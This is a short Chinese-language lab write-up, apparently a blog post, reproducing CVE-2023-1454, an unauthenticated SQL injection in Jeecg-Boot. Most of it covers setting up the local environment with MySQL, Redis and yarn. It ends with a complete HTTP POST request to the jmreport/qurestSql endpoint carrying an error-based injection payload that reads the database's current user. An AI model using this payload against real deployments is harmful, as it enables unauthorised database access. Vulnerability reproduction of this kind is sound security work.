Jeecg-Boot 未授权SQL注入漏洞CVE-2023-1454

代码

 source D:\bc\jeecg-boot\db\jeecgboot-mysql-5.7.sql

代码

powershell

cd "C:\Program Files\Redis"

notepad.exe .\redis.windows.conf

redis-cli

shutdown

exit

redis-server redis.windows.conf

代码

npm install yarn -g  //全局安装

yarn --version // 查看版本

配置源

yarn config set registry https://registry.npm.taobao.org -g

yarn config set sass_binary_site https://npm.taobao.org/mirrors/node-sass/ -g

检查源

yarn config get registry // https://registry.npm.taobao.org

yarn config get sass_binary_site // https://npm.taobao.org/mirrors/node-sass/

代码

 >npm run serve

代码

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1

Host: 192.168.1.3:8080

Content-Length: 131

Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(0x23,(select current_user)),0x23)) or '%%' like '"}